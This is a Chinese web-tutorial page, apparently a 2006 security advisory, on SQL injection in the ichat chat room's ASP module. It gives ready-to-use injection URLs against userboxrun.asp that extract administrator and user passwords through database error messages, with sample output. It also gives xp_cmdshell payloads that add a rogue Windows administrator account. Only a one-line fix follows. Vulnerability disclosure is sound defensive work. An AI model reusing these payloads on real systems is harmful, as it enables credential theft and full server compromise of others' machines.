精彩专题推荐:建站之入门课 建站之必修课 建站之关键课 网站价值所在 流量提高专题 css+div 标准 个人网站打造全过程
返回建站学首页
导航:
建站首页 | 网站设计 | 网站开发 | 网站运营 | 网页软件 | 建站指南 | 搜索优化 | 图像处理 | 视频教程 | 书籍教程 | 建站专题
当前位置:首页>网站开发>ASP教程>正文

ichat聊天室asp模块存在SQL注入漏洞和演示


来源:网络搜集 时间:06-06-13 点击: 点击这里收藏本文

ichat聊天室asp模块存在SQL注入漏洞和演示
涉及版本
ichat1.81
ichat1.85
ichat1.86

ichat聊天室是国内比较著名的聊天服务器软件,其中的百宝箱里面的userboxrun.asp,userboxsend1.asp等文件存在sql 注入漏洞,用户提交:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 username from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 pass from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 username from userinfo)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 userpassword from userinfo)
等一系列url能得到聊天室管理员用户名称和密码。
在没关闭详细错误显示的sql版服务器上提交:

http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 username from admin)=5
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 pass from admin)=5
类似url可以得到如下显示

Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 admin 转换为数据类型为 int 的列时发生语法错误。

/shop/userboxrun.asp,行27

admin即为管理员名称

Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 ichat 转换为数据类型为 int 的列时发生语法错误。

/shop/userboxrun.asp,行27

ichat即为管理员密码,具体过程不再详述。
最危险的是,在没删除xp_cmdshell储存过程的sql版服务器上,如果用于ichat连接数据库的sql用户是sa权限的,提交如下url:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;exec master.dbo.xp_cmdshell "net user xiaolu xiaoxue /add";--
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;exec master.dbo.xp_cmdshell "net localgroup administrators xiaolu /add";--

可以添加用户名称为:xiaolu,密码为:xiaoxue的服务器管理员。
解决办法:

wpid=request.querystring("wp")
wpid=replace(wpid,"","")
添加:
wpid=cint(wpid)


  把此文章收藏到:          
广而告之
文章搜索
  • Google JZxue.Com

关于我们 | 联系我们 | 友情链接 | 网站地图
Copyright © 2005 - 2006 建站学 All rights reserved.